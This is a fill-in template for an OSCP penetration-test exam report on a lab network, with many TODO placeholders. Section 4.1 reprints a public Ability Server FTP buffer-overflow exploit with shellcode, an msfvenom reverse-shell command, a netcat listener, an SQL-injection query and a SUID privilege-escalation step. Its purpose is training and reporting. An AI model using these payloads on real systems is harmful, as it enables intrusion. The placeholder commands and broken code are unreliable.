Offensive Security Certified Professional Exam Report

OSCP Exam Report

lassi@placeholder, OSID: 12345

2022-08-30

Contents

1 Offensive Security Exam Penetration Test Report

1.1 Introduction

The Offensive Security Exam penetration test report contains all efforts that were conducted in order to pass the Offensive Security course. This report will be graded from a standpoint of correctness and fullness to all aspects of the exam. The purpose of this report is to ensure that the student has a full understanding of penetration testing methodologies as well as the technical knowledge to pass the qualifications for the Offensive Security Certified Professional.

1.2 Objective

The objective of this assessment is to perform an internal penetration test against the Offensive Security Exam network. The student is tasked with following a methodical approach in obtaining access to the objective's goals.

1.3 Requirements

The student will be required to fill out this penetration testing report fully and to include the following sections:

- Overall High-Level Summary and Recommendations (non-technical)
- Methodology walkthrough and detailed outline of steps taken
- Each finding with included screenshots, walkthrough, sample code, and proof.txt if applicable.
- Any additional items that were not included

2 High-Level Summary

TODO YOUR NAME (hereinafter referred to as “we”) was tasked with performing an internal penetration test towards the Offensive Security Exam environment. An internal penetration test is a dedicated attack against internally connected systems. The focus of this test is to perform attacks, similar to those of a hacker and attempt to infiltrate Offensive Security’s internal exam systems - the oscp.exam domain. Our overall objective was to evaluate the network, identify systems, and exploit flaws while reporting the findings back to Offensive Security.

When performing the internal penetration test, there were several alarming vulnerabilities that were identified on Offensive Security’s network. When performing the attacks, we were able to gain access to multiple machines, primarily due to outdated patches and poor security configurations. During the testing, we had administrative level access to multiple systems, including the domain controller.

2.1 Recommendations

We recommend patching the vulnerabilities identified during the testing to ensure that an attacker cannot exploit these systems in the future.

One thing to remember is that these systems require frequent patching and once patched, should remain on a regular patch program to protect additional vulnerabilities that are discovered at a later date.

3 Methodologies

We utilized a widely adopted approach to performing penetration testing that is effective in testing how secure the Offensive Security Exam environment was. Below is a breakout of how we were able to identify and exploit the variety of systems and includes all individual vulnerabilities found.

3.1 Information Gathering

The information gathering portion of a penetration test focuses on identifying the scope of the penetration test. During this penetration test, we were tasked with exploiting the exam network. The specific IP addresses were:

Exam Network

```
TODO
10.10.10.1
10.10.10.2
10.10.10.3
10.10.10.4
10.10.10.5
10.10.10.6
```

No other machines were included in the scope, and thus were not tested.

3.2 Service Enumeration

The service enumeration portion of a penetration test focuses on gathering information about what services are alive on a system or systems. This is valuable for an attacker as it provides detailed information on potential attack vectors into a system.

Understanding what applications are running on the system gives an attacker needed information before performing the actual penetration test.

In some cases, some ports may not be listed.

3.3 Penetration

The penetration testing portions of the assessment focus heavily on gaining access to a variety of systems.

During this penetration test, we were able to successfully gain access to TODO out of the TODO systems, out of which TODO were with full administrator/root access.

3.4 Maintaining Access

Maintaining access to a system is important to us as attackers, ensuring that we can get back into a system after it has been exploited is invaluable. The maintaining access phase of the penetration test focuses on ensuring that once the focused attack has occurred (i.e. a buffer overflow), we have administrative access over the system again. Many exploits may only be exploitable once and we may never be able to get back into a system after we have already performed the exploit.

We added administrator and root level accounts on all systems compromised. In addition to the administrative/root access, a Metasploit meterpreter service was installed on the machine to ensure that additional access could be established.

3.5 House Cleaning

The house cleaning portions of the assessment ensures that remnants of the penetration test are removed. Often fragments of tools or user accounts are left on an organizations computer which can cause security issues down the road. Ensuring that we are meticulous and no remnants of our penetration test are left over is important.

After the trophies on the exam network were completed, we removed all user accounts and passwords as well as the meterpreter services installed on the system. Offensive Security should not have to remove any user accounts or services from the system.

4 Independent Challenges

4.1 Target #1 - 192.168.1.1 TODO

4.1.1 Service Enumeration

Port Scan Results

Server IP Address	Ports Open
192.168.1.1 TODO	**TCP**: 21,22,25,80,443, TODO

FTP Enumeration TODO Upon manual enumeration of the available FTP service on port 21, we noticed it was running an outdated version 2.3.4 that is prone to the remote buffer overflow vulnerability.

4.1.2 Initial Access - Buffer Overflow

Vulnerability Explanation: TODO Ability Server 2.34 is subject to a buffer overflow vulnerability in STOR field. Attackers can use this vulnerability to cause arbitrary remote code execution and take completely control over the system. When performing the penetration test, we noticed an outdated version of Ability Server running from the service enumeration phase. In addition, the operating system was different from the known public exploit. A rewritten exploit was needed in order for successful code execution to occur. Once the exploit was rewritten, a targeted attack was performed on the system which gave us a low-privilege access over the system.

Vulnerability Fix: TODO The publishers of the Ability Server have issued a patch to fix this known issue It can be found here: http://www.code-crafters.com/abilityserver/

Severity: Critical

Steps to reproduce the attack: TODO The operating system was different from the known public exploit. A rewritten exploit was needed in order for successful code execution to occur.

1. Download the original exploit code from here: https://www.exploit-db.com/exploits/588

2. Generate a shellcode payload with a reverse shell pointing to the attacker IP address and listening port with the below `msfvenom` command:

```
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=445 -b '\x00\xd9' -f py -v sc
```

3. Generate a new buffer variable because operating system blabla
4. Change the shellcode and the buffer variable in the previously downloaded exploit code.
5. Start a netcat listener on the same port as in step 2:

```
nc -lvnp 445
```

7. Launch the exploit with the below command

```
python2 exploit.py
```

8. You should receive a shell from the target machine:

```
nc connection received from XXXXXXX
C:> whoami
testreport
```

Full Proof of Concept Code: TODO modifications to the existing exploit are highlighted in red.

```
###################################
# Ability Server 2.34 FTP STOR Buffer Overflow   #
# Advanced, secure and easy to use FTP Server. #
# 21 Oct 2004 - muts                                      #
###################################
# D:\BO>ability-2.34-ftp-stor.py                       #
###################################
# D:\data\tools>nc -v 127.0.0.1 4444               #
# localhost [127.0.0.1] 4444 (?) open               #
# Microsoft Windows XP [Version 5.1.2600]        #
# (C) Copyright 1985-2001 Microsoft Corp.        #
# D:\Program Files\abilitywebserver>                #
###################################

import ftplib
from ftplib import FTP
import struct
print "\n\n#################################"
print "\nAbility Server 2.34 FTP STOR buffer Overflow"
print "\nFound & coded by muts [at] whitehat.co.il"
print "\nFor Educational Purposes Only!\n"
print "###################################"
```

```
# Shellcode taken from Sergio Alvarez's "Win32 Stack Buffer Overflow Tutorial"

sc =  b""
sc += b"\x29\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e\x81"
sc += b"\x76\x0e\xc3\x25\x13\xcf\x83\xee\xfc\xe2\xf4\x3f\xcd"
sc += b"\x91\xcf\xc3\x25\x73\x46\x26\x14\xd3\xab\x48\x75\x23"
sc += b"\x44\x91\x29\x98\x9d\xd7\xae\x61\xe7\xcc\x92\x59\xe9"
sc += b"\xf2\xda\xbf\xf3\xa2\x59\x11\xe3\xe3\xe4\xdc\xc2\xc2"
sc += b"\xe2\xf1\x3d\x91\x72\x98\x9d\xd3\xae\x59\xf3\x48\x69"
sc += b"\x02\xb7\x20\x6d\x12\x1e\x92\xae\x4a\xef\xc2\xf6\x98"
sc += b"\x86\xdb\xc6\x29\x86\x48\x11\x98\xce\x15\x14\xec\x63"
sc += b"\x02\xea\x1e\xce\x04\x1d\xf3\xba\x35\x26\x6e\x37\xf8"
sc += b"\x58\x37\xba\x27\x7d\x98\x97\xe7\x24\xc0\xa9\x48\x29"
sc += b"\x58\x44\x9b\x39\x12\x1c\x48\x21\x98\xce\x13\xac\x57"
sc += b"\xeb\xe7\x7e\x48\xae\x9a\x7f\x42\x30\x23\x7a\x4c\x95"
sc += b"\x48\x37\xf8\x42\x9e\x4d\x20\xfd\xc3\x25\x7b\xb8\xb0"
sc += b"\x17\x4c\x9b\xab\x69\x64\xe9\xc4\xda\xc6\x77\x53\x24"
sc += b"\x13\xcf\xea\xe1\x47\x9f\xab\x0c\x93\xa4\xc3\xda\xc6"
sc += b"\x9f\x93\x75\x43\x8f\x93\x65\x43\xa7\x29\x2a\xcc\x2f"
sc += b"\x3c\xf0\x84\xa5\xc6\x4d\x19\xc5\xc9\x2f\x7b\xcd\xc3"
sc += b"\x24\xae\x46\x25\x4f\x03\x99\x94\x4d\x8a\x6a\xb7\x44"
sc += b"\xec\x1a\x46\xe5\x67\xc3\x3c\x6b\x1b\xba\x2f\x4d\xe3"
sc += b"\x7a\x61\x73\xec\x1a\xab\x46\x7e\xab\xc3\xac\xf0\x98"
sc += b"\x94\x72\x22\x39\xa9\x37\x4a\x99\x21\xd8\x75\x08\x87"
sc += b"\x01\x2f\xce\xc2\xa8\x57\xeb\xd3\xe3\x13\x8b\x97\x75"
sc += b"\x45\x99\x95\x63\x45\x81\x95\x73\x40\x99\xab\x5c\xdf"
sc += b"\xf0\x45\xda\xc6\x46\x23\x6b\x45\x89\x3c\x15\x7b\xc7"
sc += b"\x44\x38\x73\x30\x16\x9e\xe3\x7a\x61\x73\x7b\x69\x56"
sc += b"\x98\x8e\x30\x16\x19\x15\xb3\xc9\xa5\xe8\x2f\xb6\x20"
sc += b"\xa8\x88\xd0\x57\x7c\xa5\xc3\x76\xec\x1a"

# Change RET address if need be.

#buffer = '\x41'*966+struct.pack('<L', 0x7C2FA0F7)+'\x42'*32+sc # RET Windows 2000 Server SP4
#buffer = '\x41'*970+struct.pack('<L', 0x7D17D737)+'\x42'*32+sc # RET Windows XP SP2
buffer = '\x41'*970+struct.pack('<L', 0xASDASDASD)+'\x42'*32+sc

try:
# Edit the IP, Username and Password.
ftp = FTP('127.0.0.1')
ftp.login('ftp','ftp')
print "\nEvil Buffer sent..."
print "\nSploit will hang now because I couldn\'t figure how to use storelines()."
print "\nTry connecting with netcat to port 4444 on the remote machine."
except:
print "\nCould not Connect to FTP Server."
try:
ftp.transfercmd("STOR " + buffer)
except:
print "\nDone."

# milw0rm.com [2004-10-21]
```

Screenshot Here:

Figure 4.1: BOF Exploiting

4.1.2.1 Post-Exploitation

Local Proof Screenshot:

Figure 4.2: local.txt

4.1.3 Privilege Escalation - MySQL Injection

Vulnerability Explanation: TODO After establishing a foothold on target, we noticed there were several applications running locally, one of them, a custom web application on port 80 was prone to SQL Injection attacks. Using Chisel for port forwarding, we were able to access the web application. When performing the penetration test, we noticed error-based MySQL Injection on the taxid query string parameter. While enumerating table data, we were able to successfully extract the database root account login and password credentials that were unencrypted that also matched username and password accounts for the administrative user account on the system and we were able to log in remotely using RDP. This allowed for a successful breach of the operating system as well as all data contained on the system.

Vulnerability Fix: TODO Since this is a custom web application, a specific update will not properly solve this issue. The application will need to be programmed to properly sanitize user-input data, ensure that the user is running off of a limited user account, and that any sensitive data stored within the SQL database is properly encrypted. Custom error messages are highly recommended, as it becomes more challenging for the attacker to exploit a given weakness if errors are not being presented back to them.

Severity: Critical

Steps to reproduce the attack: TODO

1. Transfer Chisel binary

```
asd
testcode --jee
rm this
```

2. Issue following curl command through the Chisel proxy

```
curl --jee "http://asdasd:8080/admin'SQLINJECT" --proxy asd
rm this
```

3. You get some output
4. Login with root

Proof of Concept Code:

```
SELECT * FROM login WHERE id = 1 or 1=1 AND user LIKE "%root%"
```

Screenshot Here:

Figure 4.3: SQL injection exploit

4.1.3.1 Post-Exploitation

System Proof Screenshot:

Figure 4.4: proof.txt

4.2 Target #2 - 192.168.1.2 TODO

4.2.1 Service Enumeration

Port Scan Results

Server IP Address	Ports Open
192.168.1.2 TODO	**TCP**: 1,2,3,4 **UDP**: 5,6

VULN Enumeration TODO Upon manual enumeration of the available VULN service on port X, we noticed it was running …

4.2.2 Initial Access - VULNSERVICE EXPLOIT

Vulnerability Explanation: TODO VULNSERVICE is subject to an x vulnerability in … Attackers can use this vulnerability to cause arbitrary remote code execution and take completely control over the system. When performing the penetration test, we noticed an outdated version of VULNSERVICE running from the service enumeration phase. A targeted attack was performed on the system which gave us low-privilege access over the system.

Vulnerability Fix: TODO The publishers of the VULNSERVICE have issued a patch to fix this known issue It can be found here: http://example.com

Severity: Critical

Steps to reproduce the attack: TODO

1. Download the exploit code from here: https://www.exploit-db.com/exploits/588
2. Start a netcat listener on your attacking machine:

```
nc -lvnp 445
```

7. Launch the exploit with the below command

```
python exploit.py -t 192.168.1.2 -lp 445
```

8. You should receive a shell from the target machine:

```
nc connection received from XXXXXXX
C:> whoami
testreport
```

Full Proof of Concept Code:

```
not needed unless code is modified
```

Screenshot of the exploitation:

Figure 4.5: exploit

4.2.2.1 Post-Exploitation

Local Proof Screenshot:

Figure 4.6: local.txt

4.2.3 Privilege Escalation - SOME EXPLOIT

Vulnerability Explanation: TODO After establishing a foothold on target, we noticed there were…

Vulnerability Fix: TODO Remove… Upgrade…

Severity: Critical

Steps to reproduce the attack: TODO

1. Find SUID binaries:

```
find / -type f -perm -4000 2>/dev/null
```

2. Use GTFOBins snippet:

```
vulnbin -c 'binbash'
```

3. You got root!

```
# whoami
root
```

Proof of Concept Code:

```
vulnbin -c 'binbash'
```

Screenshot Here:

Figure 4.7: Executing vulnerable binary with payload

4.2.3.1 Post-Exploitation

System Proof Screenshot:

Figure 4.8: proof.txt

5 Active Directory Set

Port Scan Results Server IP Address | Ports Open ——————|—————————————- 192.168.1.1 | **TCP**: 21,22,25,80,443 192.168.1.2 | **TCP**: 22,55,90,8080,80 192.168.1.3 | **TCP**: 1433,3389

5.1 HOSTNAME1 - 10.10.10.1

5.1.1 Initial Access - something

Vulnerability Explanation: Something

Vulnerability Fix: Something

Severity: Critical

Steps to reproduce the attack: somehow

5.1.1.1 Post-Exploitation

Local proof screenshot:

5.1.2 Privilege Escalation - something

Vulnerability Explanation: Something

Vulnerability Fix: Something

Severity: Critical

Steps to reproduce the attack: somehow

5.1.2.1 Post-Exploitation

System proof screenshot:

Then we got access to this and that.... Lateral movement...

5.2 HOSTNAME2 - 10.10.10.2

5.2.1 Initial Access - something

Vulnerability Explanation: Something

Vulnerability Fix: Something

Severity: Critical

Steps to reproduce the attack: somehow

5.2.1.1 Post-Exploitation

Local proof screenshot:

5.2.2 Privilege Escalation - something

Vulnerability Explanation: Something

Vulnerability Fix: Something

Severity: Critical

Steps to reproduce the attack: somehow

5.2.2.1 Post-Exploitation

System proof screenshot:

Then we got access to this and that…. Lateral movement…

5.3 DOMAIN CONTROLLER - 10.10.10.3

5.3.1 Initial Access - something

Vulnerability Explanation: Something

Vulnerability Fix: Something

Severity: Critical

Steps to reproduce the attack: somehow

5.3.1.1 Post-Exploitation

Local proof screenshot:

5.3.2 Privilege Escalation - something

Vulnerability Explanation: Something

Vulnerability Fix: Something

Severity: Critical

Steps to reproduce the attack: somehow

5.3.2.1 Post-Exploitation

System proof screenshot:

Then we got access to this and that.... Lateral movement...

6 Additional Items Not Mentioned in the Report

This section is placed for any additional items that were not mentioned in the overall report.

<3